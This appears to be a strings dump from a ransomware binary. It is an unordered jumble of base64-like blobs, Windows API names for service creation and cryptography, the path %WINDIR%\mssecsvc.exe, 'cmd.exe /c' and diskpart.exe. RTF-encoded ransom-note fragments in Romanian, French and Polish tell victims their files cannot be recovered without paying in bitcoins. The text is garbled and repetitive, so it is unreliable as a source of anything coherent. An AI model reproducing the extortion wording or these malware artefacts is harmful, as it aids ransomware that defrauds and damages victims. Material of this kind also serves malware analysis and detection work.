rfMdZwKei24tlGXqWY7sch/2E+ot7kwi5fZLwO6pu39WvnI/wVWFfka8BCcMgidP7O7ql2LotXHgs5ySAdSOckbtJmo4h08XFV0p715lZEBHlbyYBewCb9agZPVPzDWKVT94uR68Kw3RFtCuXs8gGpgfGo/bT/yu be+lSr01WHtjYeFGf98ozeBGmUaL7gk3yh9LY7Ym81y/vvZQNOJapX9BJ3+pU2nMWDQn/Bc3lFVCoHll2jLqzBWzoEIWmPdY2HJ3+ZDyBpM3IEqQUNmwez031iyoJ4YBe/UlxJSCkgLbV+Sa/Gxx0s6zI+3AUorEW/or2wFxdlURhlRmrKCHk3ipN+RFqlEbzi1HDgYAOEQwkBNIIgbaM0OQsHILhuYoQRBOis++9uVWPl5jNWLToSfgKmZT6xe0ewvsd6LUXcNIuH8ZBaSx23Db3gkd/tqi05Zg06LUb9fMYroy0LA6DutGXrbZWfs0ytPiv0lkNBtGTx3P0JWkKomt1sBLDxvuZqn19ekkd5Op9cS1ljHfXgt7QAQFvW25qCpBHkNPdz8fn1XEolubfUCGD2dq01onMaCiHJI6JUN4Rqx0xFKn8Gr+oY69mXfBlpNO2GZ6gJVmNmng8wE4H94mYqqpXhrlp8HmBJcxzJW+VytsVwwtjkV8dcFfUEy2LXibUVsZ0tfkm2XnaCOCZUHFyaKFqSTjE55pwE7+DgzsTdkzYoto+oHVumDSUFsKjuxxKOAXEWxNvSIUdEB2Za75OR8ymYK9aUq52ZNG9E13awruW7eUn6L1krq54Y4wHVB5QCkD18ZrT9S+SeOraduhHd1kgU6v98NS2PzySgSSaOT6vh8ZBAROFoy6+yEP+5qhRcCAvVhAyylGn1ORV39sHJldQYFaUMCkbTwtFn8CZbBQcag+wUtiNiVMmaoIh4yZx5oYYkfd9YnV4TzEQeB5HkvRHfHqU/CZsRTJKVl3qSOAMrhQZrKqzowfLI3LSOCf+C3bloIQu8u4SWreQ55C+o0t+/RrfMdZwKei24tlGXqWY7sch/2E+ot7kwi5fZLwO6pu39WvnI/wVWFfka8BCcMgidP7O7ql2LotXHgs5ySAdSOckbtJmo4h08XFV0p715lZEBHlbyYBewCb9agZPVPzDWKVT94uR68Kw3RFtCuXs8gGpgfGo/bT/yuS bgBbBR7bJMpFFk5HN41YufB1uCsXly67Ex1FaMMHB0FoejOWsTPK/jVDwBliwqguSDzJRWK/1uoz55aWCR7ux0Yjxp3fEHgITZMj1q4yHiPfFL3c31lwoqp8CSSGMfqtFVuhCH8V2F/fV5J6KE6ArnLZs+GdscOUXQAg46tyOhgQYXwpvMrFOJfYphOxGSIpjw4ovTaz1IHdJYJp9CPAfS1jZwyOEg2QSREx99N8IUkJcSXnVVzDUUuJpws2fnPBt6rk7MwoGUs2j3nRxxm77wlZHTInHxJz2QqbsQGqKOMTmEOtwrUg+ZRAJJbBTJ9I+mFbDsZulqVDGrK80QV+dcARKE7F0PTFvZwAAttjgd3vOOhsBFvePugEd4Aame1goNc70x6Lb9FSGjRhO/NXxTLldTc3bh47SlfKRjiOcxRZOlOXrEdNUUSNwRWbsK3woSTj3FsP0eOy/Bs94RtL338bTcpVUBsu/SApl38h2FmRUZLNADvcmsNpd20MGUcBtoXz1qMpyrzGRY60wdFsCsvwiP5shGkqmJKh2tLo1g/2utoHAzhEPwh05oAxG4M1jYKxa7lUXqpdTAOgrsLgHFcp9hxN9PdrHAQaAr3kLbABSoknoza6/P7JURK3jZWBn+Ut8 bitcoins>. buffer error BypassHTTPNoCacheCheck %WINDIR%\\mssecsvc.exe CacheAllCompartments Ce sa \\'ee\\loch\\f31502 \\hich\\f31502 nt\\'e2\\loch\\f31502 mplat cu calculatorul meu? ChangeServiceConfig2A chercher un moyen de r\\'e9\\loch\\f31502 \\hich\\f31502 cup\\'e9\\loch\\f31502 \\hich\\f31502 rer vos fichiers, mais ne perdez pas votre temps. Personne ne peut r\\'e9\\loch\\f31502 \\hich\\f31502 cup\\'e9\\loch\\f31502 \\hich\\f31502 CloseServiceHandle cmd.exe /c ""%s"" Co si\\'ea\\loch\\f31528 \\hich\\f31528 zdarzy\\'b3\\loch\\f31528 o z moim komputerem? colH+ogjOOxAuoh2o+bFGQ0MZ3NVnGSlZn4wrHF6rkLqTXWH1oyt7ZFsCWV+EskFhRWbyM96a0THCcdSkLISfZXHYKkzKcgELIMM8qVBqXl8Ni2yxemE2n8zQuXsUir6z0gAKL+6dRkMcdAUt9Q+g+ygmMHxSl7Nxl/KJfGTBd8uBCY+8VB58e21lL8bLe0Go9kfDJCJ/FkZJGkVgK5F4eZX/zERhD2CyDNBrgirjwCeKgFcGDttFqudl5tXmPvJh7RQJsZ/wFX9y28zvzY/rBKNi3Mrxgsjf2p7r0pCJMOaEL+mOdlPlbLWrpY5HNwTgEtw0rV3ARznLMA9AaxJKwF3nlRi3is3k6EaWnnfQmkVI6/vJk8fZNs005MECGxLZohesLAh4eGp9F+BCg3PB4Xkmhsd5Dfj9mVz+lRw3gjEC88kX9tpxDXr8SUAw9hnBmjUrshletxdp9HC0nUiXx6rzZ54vsswauif+d89YgO1hEtsbfOP9COW58OYiqkunK012HsHOjoPyd4T2t9wKhMNDB/YX0e/ks/T4YBOhjoy/r3fDSBSIfgR5+kT6KD24XiwvrlrUP5FJN58Y2kWYbINeNDIydOipJr8Vu5fh8byKy34IbvWxzF0k4bAyWuIjebXi Com+Enabled com/office/word/2003/wordml}}\\paperw12240\\paperh15840\\margl1501\\margr1502\\margt1701\\margb1440\\gutter0\\ltrsect CombineFalseStartData CommercialDataOptIn CompanyName CompatDll ComputerName CorExitProcess CreateProcessA CreateServiceA CryptDestroyKey CryptGenKey CryptImportKey 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 data error DefaultConnectionSettings DefaultRegistrationRefreshInterval DefaultRegistrationTTL Description DisableLocalOverride DisableReverseAddressRegistrations diskpart.exe DisplayScriptDownloadFailureUI DOMAIN error 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 e szukasz sposobu na odzyskanie plik\\'f3\\loch\\f31528 \\hich\\f31528 w, ale nie marnuj czasu. Nikt nie mo\\'bf\\loch\\f31528 \\hich\\f31528 e odzyska\\'e6\\loch\\f31528 \\hich\\f31528 plik\\'f3\\loch\\f31528 \\hich\\f31528 w bez naszej us\\'b3\\loch\\f31528 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 EnableAdapterDomainNameRegistration EnableHttp1_1 EnableHttpTrace EO79xX4ROZIpMXNMWxe3k0hYzxb8TwY1IgufxKVqbP4RQIHxWMMVmgzxYXOEhGuXgHttYwGtpyFECliqAulAYEJmy/VVl/AMfkoANrP1MjaHpgP1VCmQTrxW+19f0e1rda6HDDO9HoJzO7dbU/WKfHxV4FGwBp1tFY9WKX18W9pc1rOZqKNZe9dtKQ44Cp7QqUT8L1iuN7o5H7yN5bpIxljrCS/X+F8EHz1QlLPc99XW+iY0umLZK5ABm93iz517JaGI7oviUAmephhhTxpw7ZXIGcEzU2GF2jfoAZFgJyQ23IQkK8Lldhk+quhejzijWue/q2qFvywv34VNQ2uQRSspH9b4QaNlc3QHOSu0ZyWgl+pwn0I5pPo9IM8ywRTUyTNBQZiYQottLq7zy86jrMatDkNtTIpsZQ3lYH4E8Zg40Ny7j77wRVD+/5vCZtVFps+OupEvBMt9Zd5Cd9Ai4R5iZHYxFOcnnkjFZlRaPA9xUlFviGTcg4xvsh/e9CYOzDh66hrV1Njm0mKB1VOnZncnyhvpbYQKRC1HZkEeKnzRzv1J3Nm+MhWDZ5K5RRXs89Zf7rSBh34VOMt23PFErMrUdkRMXM1ymgfqpqmtHqlQl3H5N98o89BZfofLVR/aLqTRW eqQM0Kw2qj/DimszVvNsbOvXA/4D5nDfhhUX4d6WVFXtthZzswTVTJTCqWGTBaCRaeJDg1oTw5WcnbMdnSFxH6O6JpVxcN/FxvKXQoxIpoBFqcm/xl4fYkpUvqY9rq/92UORbBCPT3CCbWhOP3gJNl1GH8oSuHG7m2bygsKB67Hqk8JKuGzdpGygu00Q/Ytbttzk8rBIdBFi6Tj9GNf4KCdOsOFkl1IiF4mb7bjOLofP5/dBz85pDAIn5VuMi3JB5DcjnBoMITtM7sVuzeT8/uVzDtL+yzz/OqiO4bl9H+BGcrGG5jnlqLgI1dh1thymLio0OwifPa9oIXKscPKcgLGp9kxJ+w89y5JNC3fMvFTAwBmsmMZ1tiwRGNCwRCqI9G/aTX5sjOncf4Z5sobirIT26Cxovw88M/EcTA3cPoHbzwvMa94Bv0O+MCp4e+Nz9c4hcLSLxcj4yVDHO+on/Yx4rhnglhrZNsZQxIKC0BmUd8WQ8tL/8aNRqHuKEcgvcIRwFKrvGE8DjAvrxvUGxt/B9X6TQ+pRpD0ENlpV2yVqFqeJvInYgOguNQs9XTlteOjTLZX5tU97X/JoaVMN8zwAkgTjpIAKN4NQoXD670XEgTNsF7GswgsMIfDXDvTudKaon error EU7+Zet9ut3cE1l633CJQ6ThcqDbSdqUvtF/vsDYIvAgMQM9affu9mUxukShVG7grH+e8zKSxJBvgoJ95Ba9YW4xYFcjvZuQy75wRZRVtsIDtiQ3+l+u6Cn17XJUdrFteE6ABsovKGHDURoj4X/MilC2C9EmMdytDzraOXOoWg8aEHVyeyXijdOD4yw+T21PfksAzAIAgnkgUHerKBxmnzDOHgkuUCSl0OtLfm1ak73Z0fawxxmB0xhJ+1hW0gov8d3Tteji4kr4WgvnQ4YuFqpGL8Ijim+wLO86XIHm8IXr5oNxENi72j/02xtypsVXGdIBaVNBGuk5i1z8jcYXgZmHLKI7oSWaUk6fMt4ibo42Cdez3s6Cz04dWBg ExitProcess E}[\\+(aT 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 ffice/word/2003/wordml}}\\paperw12240\\paperh15840\\margl1501\\margr1502\\margt1701\\margb1440\\gutter0\\ltrsect fice/word/2003/wordml}}\\paperw11906\\paperh16838\\margl867\\margr867\\margt1440\\margb1440\\gutter0\\ltrsect file error FileDescription FileVersion fLqCC7CAHqMKnYTcA3SUmuLGfxwL0aNQJPYYCUcJiryT3FPY5lVwFhOuqmJs0Dg/d3BB0r8dAlSEVK9SMWDIjS+PXA3om/XAGSLh8ZSVijmCOwA7X2k7RVng3yFSHLUkbWSEnPM/sgMC3D2nRt9wLJmA44P8hcsWfuNL7SRflVzXQHcV2adUtkLE+HIzjwt5cE7M2UVBSSxlPC1AAirfL6XEhauy6ScUpQDzWCFtL3afWvxZjM4U0K72Ju4lWHikgBcXLlaaNEC72ENdljVIzJVoPj9zZNyxiGSo70HmT7k830DHjzB6AYJj8/dhPMgfZj/yybHuUUpy1MIu+vBnJZRDenyS4kidxn1Iv+A/+dzn1210k+024JcFvuxBUimvE7dOLB3HgM0mZDnhy6VGaryy+ZPmM1V1EM1UhSdWljpJEF1fsB1jgDrN3F7QWmYOZm/5l0CCGbRQoywKE8AyQrlECIc08bZcGqdMOFuXjoMymMn82+4Z3TwCLBgGtD9nKWoWmRXJCtn0YD1D+Na0ItJQcgUkIeAOYYNRi6WszOl849/8vD/gRrvluxBQniGB+50GjJ5b/QArC6YsTn47vTHimG4361/8CSnGU1BD+F5VsOl9f9GFrdl8m22BcEX9CcrPPVu7bIoUMdA02NkkeL489kAHKh/Qy7/+t7nxpf0lEaEbRLVZnhq38OGpWihV/spVLJsJBWiNOW5VUEmEa/